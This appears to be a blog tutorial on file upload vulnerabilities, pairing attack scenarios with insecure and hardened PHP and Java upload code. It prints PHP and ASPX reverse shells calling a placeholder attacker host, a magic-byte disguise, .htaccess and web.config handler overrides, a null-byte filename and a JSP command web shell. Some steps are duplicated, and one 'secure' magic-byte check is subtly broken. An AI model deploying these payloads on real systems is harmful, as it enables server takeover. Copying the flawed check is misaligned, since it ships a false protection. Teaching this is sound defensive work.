File Upload Vulnerabilities

Reza RashidiReza Rashidi
16 min read

File upload vulnerabilities can lead to severe security breaches if not handled properly. Attackers can exploit insecure file uploads to upload malicious files that, when executed, can give them unauthorized access to the server. This is especially dangerous with files that can execute code, such as .php, .aspx, and .svg files.

Attack Scenario: Insecure File Content

Objective: An attacker aims to upload a malicious file that, once uploaded, allows them to execute arbitrary code on the server, resulting in a reverse shell or unauthorized access.

Steps:

  1. Identify Vulnerable File Upload: The attacker finds a file upload feature on the target website, for example, example.com/upload.php.

  2. Craft Malicious Files:

    • PHP Reverse Shell (shell.php)
<?php
// PHP reverse shell code
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1'");
?>

ASPX Reverse Shell (shell.aspx)

<% @ Page Language="C#" %>
<% Response.Write(System.Diagnostics.Process.Start("/bin/bash", "-c 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1'")); %>

Malicious SVG (shell.svg)

<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    // Malicious JavaScript that triggers XSS or other attacks
    alert('XSS Attack');
  </script>
</svg>
  1. Upload the File: The attacker uploads shell.php, shell.aspx, or shell.svg to the server.

  2. Access the File: The attacker navigates to example.com/uploads/shell.php or example.com/uploads/shell.aspx, triggering the code execution on the server.

  3. Reverse Shell Access: If successful, the attacker gains a reverse shell to the server, allowing them to execute commands remotely.

2. Non-Compliant Code: Insecure File Upload Example

The following example shows an insecure file upload implementation in PHP that allows an attacker to upload potentially harmful files:

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;

// Allow any file type
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    echo "The file ". htmlspecialchars(basename($_FILES["fileToUpload"]["name"])). " has been uploaded.";
} else {
    echo "Sorry, there was an error uploading your file.";
}
?>

Issues with Non-Compliant Code:

  • Lack of File Type Validation: Any file type can be uploaded, including PHP, ASPX, and SVG files.

  • Potential for Code Execution: If the uploaded file contains executable code, it can be run by the server when accessed.

3. Compliant Code: Secure File Upload Example

The following code demonstrates a secure file upload process that includes file type validation, restricting uploads to safe file types, and preventing code execution:

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;

// Check the file type
$fileType = mime_content_type($_FILES["fileToUpload"]["tmp_name"]);

// Allow only specific file types (e.g., images, PDFs)
$allowedTypes = array("image/jpeg", "image/png", "application/pdf");

if (!in_array($fileType, $allowedTypes)) {
    echo "Sorry, only JPG, PNG, and PDF files are allowed.";
    $uploadOk = 0;
}

// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Your file was not uploaded.";
// If everything is ok, try to upload the file
} else {
    // Sanitize the file name to prevent path traversal
    $safeFileName = preg_replace("/[^a-zA-Z0-9_-]/", "", basename($_FILES["fileToUpload"]["name"]));
    $target_file = $target_dir . $safeFileName;

    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". htmlspecialchars($safeFileName) . " has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

Security Enhancements in Compliant Code:

  • File Type Validation: Only allows specific, safe file types (e.g., JPEG, PNG, PDF) to be uploaded.

  • File Name Sanitization: Removes potentially dangerous characters from the file name to prevent path traversal attacks.

  • Directory Restrictions: Ensure the upload directory does not execute scripts (e.g., via .htaccess).

4. Reverse Access Control

If an attacker successfully uploads and accesses a malicious file (e.g., example.com/shell.php or example.com/shell.aspx), they can gain remote access to the server. This is typically achieved using a reverse shell, where the server connects back to the attacker’s machine, granting the attacker control over the server.

Prevention Tips:

  • Restrict File Types: Limit uploads to non-executable file types.

  • Sanitize File Names: Prevent the use of dangerous characters in file names.

  • Disable Script Execution in Upload Directory: Use web server configurations to prevent the execution of scripts in the upload directory.

  • Validate Content: Inspect the content of the uploaded files to ensure they match the expected type.

Magic Byte Exploits and Securing File Uploads

File upload vulnerabilities are often exploited by attackers to upload malicious files. One of the advanced techniques used by attackers involves bypassing file type checks by manipulating the magic bytes of a file.

Magic Bytes Overview

Magic bytes are a sequence of bytes at the beginning of a file that indicates its format. For example:

  • GIF images start with the magic bytes GIF89a.

  • JPEG images start with the magic bytes \xff\xd8\xff.

By manipulating these bytes, an attacker can disguise a malicious file as a seemingly harmless image or another file type.

Attack Scenario: Magic Byte Exploit

Objective: An attacker aims to upload a file with executable content, but the server only allows image files (.gif, .jpg). By modifying the file's magic bytes, the attacker disguises a malicious file as an image, allowing it to bypass server checks and execute malicious code.

Steps:

  1. Identify Vulnerable File Upload: The attacker finds a file upload feature on the target website, for example, example.com/upload.php, which allows .gif and .jpg file uploads.

  2. Create Malicious Payload:

    • The attacker creates a PHP script (e.g., shell.php) that grants reverse shell access:

        <?php
        exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1'");
        ?>
      

      Manipulate Magic Bytes:

      • The attacker changes the first few bytes of the shell.php file to match the magic bytes of a GIF file (GIF89a), making it appear as a valid image file:

          echo -e 'GIF89a' > shell.php
          cat original_shell_code.php >> shell.php
        
        1. Upload the Malicious File:

          • The attacker uploads shell.php, now disguised as shell.gif, to the vulnerable server via the file upload feature.
        2. Access and Execute the File:

          • The attacker accesses the uploaded file at example.com/uploads/shell.gif. Despite being named as an image, the server may interpret it as a PHP file and execute it if not properly configured.
        3. Gain Reverse Shell:

          • If successful, the PHP code within shell.gif is executed, and the attacker gains reverse shell access to the server.

Non-Compliant Code: Insecure File Upload Example

The following PHP script demonstrates insecure handling of file uploads, where only the file extension is checked, and the file content is not validated:

  1. Upload the Malicious File:

    • The attacker uploads shell.php, now disguised as shell.gif, to the vulnerable server via the file upload feature.
  2. Access and Execute the File:

    • The attacker accesses the uploaded file at example.com/uploads/shell.gif. Despite being named as an image, the server may interpret it as a PHP file and execute it if not properly configured.
  3. Gain Reverse Shell:

    • If successful, the PHP code within shell.gif is executed, and the attacker gains reverse shell access to the server.

Non-Compliant Code: Insecure File Upload Example

The following PHP script demonstrates insecure handling of file uploads, where only the file extension is checked, and the file content is not validated:

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

// Allow only .gif and .jpg files based on extension
if ($imageFileType != "jpg" && $imageFileType != "gif") {
    echo "Sorry, only JPG and GIF files are allowed.";
    $uploadOk = 0;
}

if ($uploadOk && move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
} else {
    echo "Sorry, there was an error uploading your file.";
}
?>

Issues with Non-Compliant Code:

  • Extension-Based Validation: The script only checks the file extension, not the actual content. This allows attackers to upload files with executable content by simply renaming them.

  • No Magic Byte Check: The script does not check the magic bytes of the uploaded file, leaving it vulnerable to disguised files.

Compliant Code: Secure File Upload Example

The following code demonstrates a more secure approach, including checking the magic bytes of the uploaded file:

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;

// Check the file type based on magic bytes
$magicBytes = file_get_contents($_FILES["fileToUpload"]["tmp_name"], false, null, 0, 4);

if ($magicBytes === "GIF89a" || $magicBytes === "\xff\xd8\xff\xe0") {
    // File is either a GIF or JPEG
    $uploadOk = 1;
} else {
    echo "Sorry, only JPG and GIF files are allowed.";
    $uploadOk = 0;
}

// Sanitize the file name and move the uploaded file if validation passes
if ($uploadOk) {
    $safeFileName = preg_replace("/[^a-zA-Z0-9_-]/", "", basename($_FILES["fileToUpload"]["name"]));
    $target_file = $target_dir . $safeFileName;

    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file " . htmlspecialchars($safeFileName) . " has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

Security Enhancements in Compliant Code:

  • Magic Byte Validation: The script checks the first few bytes of the file to ensure it matches the expected magic bytes for GIF or JPEG files, providing a more reliable method of file validation than just checking the extension.

  • File Name Sanitization: Removes dangerous characters from the file name to prevent path traversal or other injection attacks.

Reverse Access Control

If an attacker successfully bypasses the file upload validation and uploads a malicious file (e.g., shell.gif), they can gain unauthorized access to the server when the file is accessed and executed. This access can often be leveraged to execute commands remotely, gain full control over the server, or escalate privileges.

Process of Securing File Uploads

  1. Validate File Type: Use both extension and magic byte checks to ensure the file type is legitimate.

  2. Sanitize File Name: Remove special characters from file names to prevent injection attacks.

  3. Restrict Upload Directories: Ensure that uploaded files are placed in a directory where they cannot be executed (e.g., configure the server to disallow script execution in the uploads/ directory).

  4. Limit File Permissions: Ensure that uploaded files do not have permissions that allow them to be executed.

Config Overwrite

File upload vulnerabilities can be exploited by attackers to overwrite configuration files or execute arbitrary code on the server. One particularly dangerous attack involves configuration overwrite where an attacker uploads files like .htaccess, .ini, or web.config to manipulate server behavior. Attackers may also use null byte injection (%00) to bypass file extension checks, leading to the execution of unintended file types.

Attack Scenario: Configuration Overwrite and Null Byte Injection

Objective:

The attacker aims to upload a file that, when processed by the server, alters its configuration, enabling the execution of malicious code or bypassing security mechanisms.

Steps:

  1. Identify Vulnerable File Upload:

    • The attacker finds a file upload feature on the target website (e.g., example.com/upload.php) that allows them to upload files.
  2. Craft Malicious Files:

    • PHP Shell with Null Byte Injection:

      • The attacker creates a PHP shell script (shell.php) that grants reverse shell access:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1'");
?>
  • The attacker renames the file to shell.php%00.gif. The %00 represents a null byte, which can be used to trick the server into treating the file as a .php file rather than a .gif.
  • Malicious .htaccess File:

    • The attacker creates a .htaccess file to change the server configuration, allowing the execution of PHP code within files with non-PHP extensions:

SetHandler application/x-httpd-php

Malicious web.config File:

  • If the server is running IIS, the attacker might upload a web.config file to change the configuration:

<configuration>
  <system.webServer>
    <handlers>
      <add name="PHPHandler" path="*.gif" verb="*" modules="FastCgiModule" scriptProcessor="php-cgi.exe" resourceType="Unspecified" />
    </handlers>
  </system.webServer>
</configuration>
  1. Upload the Files:

    • The attacker uploads shell.php%00.gif or a .htaccess file to the server via the file upload feature.
  2. Bypass Security and Execute the File:

    • The server might treat shell.php%00.gif as a .php file, executing it if the application is vulnerable to null byte injection.

    • If the .htaccess file is placed in the server's web root or any directory where Apache reads .htaccess, it can allow the server to execute PHP code in files with non-standard extensions.

  3. Gain Reverse Shell or Change Server Configuration:

    • If the attack is successful, the PHP code within shell.php%00.gif is executed, giving the attacker reverse shell access. Alternatively, the .htaccess file could enable the execution of uploaded files as PHP scripts.

Non-Compliant Code: Insecure File Upload Example

The following PHP script demonstrates insecure handling of file uploads where null byte injection and config overwrite attacks can be exploited:

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

// Allow only .gif files based on extension
if ($imageFileType != "gif") {
    echo "Sorry, only GIF files are allowed.";
    $uploadOk = 0;
}

if ($uploadOk && move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
} else {
    echo "Sorry, there was an error uploading your file.";
}
?>

Issues with Non-Compliant Code:

  • Extension-Based Validation: The script only checks the file extension, which can be bypassed using null byte injection (%00).

  • No Validation of Config Files: The script does not restrict the uploading of configuration files like .htaccess or web.config, which can be used to alter server behavior.

Compliant Code: Secure File Upload Example

The following code demonstrates a more secure approach, including checks to prevent null byte injection, restrict the upload of dangerous file types, and avoid overwriting server configurations:


<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;

// Prevent null byte injection by sanitizing the file name
$safeFileName = preg_replace("/\x00.*/", "", basename($_FILES["fileToUpload"]["name"]));
$target_file = $target_dir . $safeFileName;

// Check the file type based on both the file extension and the content
$fileExtension = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
$fileMime = mime_content_type($_FILES["fileToUpload"]["tmp_name"]);

// Allow only specific image types, reject files with dangerous extensions or content types
$allowedExtensions = array("gif", "jpg", "png");
$allowedMimeTypes = array("image/gif", "image/jpeg", "image/png");

if (!in_array($fileExtension, $allowedExtensions) || !in_array($fileMime, $allowedMimeTypes)) {
    echo "Sorry, only GIF, JPG, and PNG files are allowed.";
    $uploadOk = 0;
}

// Prevent upload of configuration files like .htaccess, .ini, web.config
$forbiddenFiles = array(".htaccess", "web.config", "php.ini");

if (in_array($safeFileName, $forbiddenFiles)) {
    echo "Sorry, configuration files are not allowed.";
    $uploadOk = 0;
}

// Move the file if everything checks out
if ($uploadOk && move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    echo "The file " . htmlspecialchars($safeFileName) . " has been uploaded.";
} else {
    echo "Sorry, there was an error uploading your file.";
}
?>

Security Enhancements in Compliant Code:

  • Null Byte Injection Prevention: The code removes any null bytes from the file name using preg_replace().

  • File Type and MIME Type Validation: The code checks both the file extension and MIME type to ensure that only allowed image types are uploaded.

  • Restricted Upload of Configuration Files: The code explicitly checks and rejects uploads of files like .htaccess, web.config, and php.ini, preventing potential server misconfigurations.

Reverse Access and Configuration Overwrite

If an attacker successfully uploads a file that bypasses validation (e.g., shell.php%00.gif or .htaccess), they can execute malicious code on the server or change its configuration to enable further attacks. This can lead to full server compromise, data theft, or other severe consequences.

Process of Securing File Uploads

  1. Sanitize File Names: Remove dangerous characters, including null bytes, from file names.

  2. Validate File Types: Check both the file extension and MIME type to ensure that only allowed file types are uploaded.

  3. Restrict Dangerous Files: Explicitly prevent the upload of configuration files such as .htaccess, web.config, or php.ini.

  4. Secure the Upload Directory: Ensure that the upload directory is configured to prevent the execution of uploaded files, especially scripts.

Insecure Handler

File upload vulnerabilities can be exploited by attackers to gain unauthorized access to a server, execute malicious code, or modify server behavior. A specific type of vulnerability involves insecure handler configurations, where the server's file handler processes files in an unsafe manner, potentially allowing an attacker to upload a web shell or other malicious scripts.

Attack Scenario: Insecure Handler Exploit

Objective:

The attacker aims to upload a malicious file that, when processed by an insecure file handler (such as .do in Java web applications), executes arbitrary code on the server, granting the attacker control.

Steps:

  1. Identify Vulnerable File Upload:

    • The attacker finds a file upload feature on the target website, for example, example.com/upload.do, which allows file uploads but uses an insecure handler.
  2. Craft a Malicious Web Shell:

    • The attacker creates a simple Java-based web shell, allowing them to execute commands on the server:

        <%@ page import="java.io.*" %>
        <%
        String command = request.getParameter("cmd");
        String s = null;
        Process p = Runtime.getRuntime().exec(command);
        BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
        while ((s = sI.readLine()) != null) {
            out.println(s);
        }
        %>
      
      • The attacker saves this file as shell.jsp.
    • Upload the Web Shell:

      • The attacker uploads the shell.jsp file using the vulnerable example.com/upload.do endpoint. Due to insecure handler configuration, the server might incorrectly handle or process this file.
    • Access and Execute the Web Shell:

        example.com/uploads/shell.jsp?cmd=whoami
  1. Gain Control of the Server:

    • If the upload and execution are successful, the attacker gains control over the server, potentially compromising all server resources.

Non-Compliant Code: Insecure File Upload Example

Below is an example of insecure file upload handling in a Java-based web application using the .do file extension:

        import java.io.*;
        import javax.servlet.*;
        import javax.servlet.http.*;

        public class FileUploadHandler extends HttpServlet {
            protected void doPost(HttpServletRequest request, HttpServletResponse response)
                    throws ServletException, IOException {
                String savePath = "uploads/";
                Part filePart = request.getPart("file"); // Retrieves <input type="file" name="file">
                String fileName = filePart.getSubmittedFileName();

                // Insecurely handling file upload
                filePart.write(savePath + fileName);

                response.getWriter().print("File uploaded: " + fileName);
            }
        }

Issues with Non-Compliant Code:

  • No File Type Validation: The code does not check the file type or extension, allowing the upload of potentially dangerous files like .jsp.

  • Insecure Handler Configuration: The handler simply writes the file to the server without validating or sanitizing the content, making it easy for an attacker to upload a web shell or other malicious scripts.

Compliant Code: Secure File Upload Example

The following code demonstrates a more secure approach, incorporating validation checks to prevent the upload of dangerous files and ensuring that the handler securely processes the uploads

  •   import java.io.*;
      import javax.servlet.*;
      import javax.servlet.http.*;
      import java.util.Arrays;
      import java.util.List;
    
      public class SecureFileUploadHandler extends HttpServlet {
          protected void doPost(HttpServletRequest request, HttpServletResponse response)
                  throws ServletException, IOException {
              String savePath = "uploads/";
              Part filePart = request.getPart("file");
              String fileName = filePart.getSubmittedFileName();
    
              // List of allowed extensions
              List<String> allowedExtensions = Arrays.asList("jpg", "png", "gif", "pdf");
              String fileExtension = fileName.substring(fileName.lastIndexOf(".") + 1).toLowerCase();
    
              if (!allowedExtensions.contains(fileExtension)) {
                  response.getWriter().print("Invalid file type!");
                  return;
              }
    
              // Sanitize file name to prevent path traversal attacks
              String safeFileName = new File(fileName).getName();
              safeFileName = safeFileName.replaceAll("[^a-zA-Z0-9\\.\\-]", "_");
    
              // Save the file securely
              filePart.write(savePath + safeFileName);
    
              response.getWriter().print("File uploaded: " + safeFileName);
          }
      }
    

    Security Enhancements in Compliant Code:

    • File Type Validation: The code checks the file extension against a whitelist of allowed file types, ensuring that only non-executable file types (e.g., images, PDFs) can be uploaded.

    • File Name Sanitization: The file name is sanitized to remove potentially dangerous characters, preventing path traversal and other injection attacks.

    • Restricted File Upload: The upload handler ensures that only safe file types are processed, mitigating the risk of uploading and executing a web shell or other malicious files.

Insecure Handler and Web Shell Exploit

If an attacker successfully uploads a file that bypasses validation (e.g., shell.jsp), the insecure handler processes it, leading to the execution of malicious code on the server. This can grant the attacker complete control over the web server, allowing them to execute arbitrary commands, access sensitive data, or escalate privileges.

Process of Securing File Uploads

  1. Validate File Types: Use a whitelist of allowed file types to ensure only safe file types are uploaded.

  2. Sanitize File Names: Remove special characters from file names to prevent injection attacks and path traversal.

  3. Secure Handler Configuration: Ensure that the server’s handler is properly configured to prevent the execution of untrusted files, especially those that could execute code (e.g., .jsp files).

  4. Audit Server Configurations: Regularly audit server configurations to ensure that no insecure handlers or misconfigurations could be exploited.

0
Subscribe to my newsletter

Read articles from Reza Rashidi directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Reza Rashidi
Reza Rashidi